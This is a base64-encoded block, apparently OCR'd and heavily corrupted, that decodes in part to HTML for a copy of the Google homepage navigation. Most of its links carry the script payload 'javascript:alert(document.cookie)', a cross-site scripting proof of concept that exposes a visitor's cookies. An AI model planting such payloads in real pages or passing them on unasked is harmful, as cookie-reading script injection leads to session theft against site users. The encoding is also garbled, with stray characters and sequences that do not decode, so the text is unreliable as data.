Y2xhc3M9Z2IxPjxhIGhyZWY9amF2YXNjcmlwdDphbGVydChkb2N  1bWVudC5jb29raWUpOz5HbWFpbDw
VvYT48L2Rpdj48ZGI2IGNsYXNzPWdiMz48Y SBocmVmPWphdmFzY3pcHQ6YWxIcnQoZG9jdW1lbnQuY?2
9va2llKTsgh25jbGljazlcinRoaXMuYmxlcigpO2diY XludGcoZ XZIbnQpO3JIdHVybiBmYWxzZVwiP
x1Pm1vemUB8L3U+IDxzcGFUulHNOeWxIPWZvbnQtc216ZToxMXB4  PiYjOTY2MDs8L3NwYW4+PCOhPjwv
ZGI2PjxkaXYgY2xhc3M9Z2lyPjxhIGhyZWY9amF2YXNjcmiwdDp  hbGVydChkb2N1bWVudC5jb29raWwu
pOz5ChGInIFNIYXJjaDwvYT48L2Rpdj48ZGI2IGNSYXNzPWdiMj  48YSBocmVmPWphdmFzY3JpcHQ6YW
xlenQozZG9jdW1lbnQuY29va2llKTs+QmxvZ2dicjwvYT48L2Rpd j48ZGI2IGNsYXNzPWdiMj48YSBoc
mVmPWphdmFzY3JpcHQ6YWxIcnQoZG9jdW1lbnQuY29va2llKTs+ Qm9va3M8L2E+PC9kaXY+PGRpdiBj
bGFzczinYjl+PGEgaHJIZj1qYXZhc2NyaXBOOmMFsZXJOKGRVY3V tZW50LmNvb2tpZSk7PkNhbGVuzZGF
yPCOhPjwvZGI2PjxkaXYgY2xhc3M9Z2lyPjxhIGhyZWY9amF2YX  NjcmlwdDphbGVydChkb2N1bW\VudC
5jb29raWUpOz5Eb2N1bWVudHMBL2E+PC9kaXY+PGRpdiBjbGFzc z1nYjl+PGEgaHJIZjlgY XZhc2Nya
XBOOMFsZXJOKGRVY3VtZW50LmNvb2tpZSk7PkZpbmFuY2UBL2EPC9kaXY+PGRpdiBjbGFzcz1nYjl+
PGEgaHJIZj1gYXZhc2NyaXBOOmMFsZXJOKGRvY3VtZW50LmNvb2t pZSk7Pkdyb3VwczwvYT48L2Rpdj4
8ZGI2IGNsYXNzPWdiMj48YSBocmVmPWphdmFzY3JpcHQ6YWxIcrQoZG9jdW1lbnQuY29va2llKTs+TG
FiczwvYT48L2Rpdj48ZGI2IGNsYXNzPWdiMj48YSBocmVmPWphd mFzY3JpcHQ6YWxIcnQoZG9jdW1lb
nQuY29va2llKTs+T3JIrdXQ8L2E+PC9kaXY+PGRpdiBjbGFzczln  Yjl+PGEgaHJIZj1qYXZhc2NyaXB0
OmMFsZXJOKGRVY3VtZW50LmNvb2tpZSk7PIBhdGVudHM8L2E+PC8aXY+PGRpdiBjbGFzcz1nYjl+PGE
gaHJIZj1qYXZhc2NyaXBOOmMFsZXJOKGRVY3VtZW50LmNvb2tpZS k7PIBob3RvczwvYT48L2Rpdj48Z2G
I2IGNsYXNzPWdiMj48Y SBocmVmPWphdmFzY3JpcHQ6YWxlcnQoZ59jdW1lbnQuY29va2llKTs+UHJIvZ
HVjdHMBL2E+PC9kaXY+PGRpdiBjbGFzcz1nYjl+PGEgaHJIZjlg  YXZhc2NyaXBOOmFsZXJOKGRvY3Vt
ZW50LmNvb2tpZSk7PIIIYWRIcjwvYT48L2Rpdj48ZGI2IGNSYXN  zPWdiMj48YSBocmVmPWphdmFzY3J
pcHQBYWxIcnQoZG9jdW1lbnQuY29va2llKTs+U2Nob2xhcjwvYT  48L2Rpdj48L25vYnl+PC9kaXY+PG
ImemFtZSBmemFZWJIvemRIcjowlGIkPWdiaSBzY3JvbGxpbme9b  m8+PC9pzZnJhbWU+PGRpdiBpZD1nY
mg+PC9kaXY+PHNjcmlwdD53aW5kb3cuz2JhciYmzZ2Jhcis5pbml0  KCk8L3NjcmlwdD48ZGI2IGFsaWdu
PXJpZ2h0IGIkPWd1c2VyIHNOeWxIPVwiZm9udC1zaXplOjg0JTt wYWRkawW5nLWJIvdHRvbToOcHhcliB
3aWR0aDOxMDAIPjxub2JyPjxhIGhyZWY9amF2YXNjcmlwdDphbG VydChkb2N1bWVudC5jb29raWuUpOz
5pR29vZ2xIPC9hPiZuYnNwO3wmbmJzcDs8Y SBocmVmPWphdmFzZ¥JIpcHQ6YWxIchQoZG9jdW1lbnQuY
29va2llKTs+U2InbiBpbjwvYT48L25vY nl+PC9kaXY+PGNIbnRI cj48YnlgaWQ9bGdwzD48aW1nIGhl
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naWygd2lkdGg9Mjc2Pjxicj48Ynl+PGZvecm0gYWNOaW9OuPVwiL3  NIYXJjaFwilG5hbWU9Zj48dGFibG
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SBocmVmPWphdmFzY3JpcHQ6YWxIcnQozZG9jdW1lbnQuY29va2ll KTs+QWJIvdXQgR29vZ2xIPC9hPjxz
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Yi5pcOhvbWVwYWdIKGEpPzEBMCI902ImKCFjKXtkb2N1bWVudC5 3cml0ZShcJzxwPjxhlGhyZWY9amF
2YXNjemlwdDphbGVydChkb2N1bWVudC5jb29raWUpOyBvbkNsaW NrPWRvY 3VtZW50LmdIdEVsZW1lbn
RCeUIkKFwiaHBclikuc2V0SG9tZXBhZ2UoXCJcJythKlwnXClpO  19ycHRIcCgpOz5NYWtlIIEdvb2dsZ
SBZb3VyIEhvbWVwYWdIITwvYT5¢cJyl9030pKCk7LY8tILTANCjwv  c2NyaXBOPjwvZm9udD48cD48Zm9u
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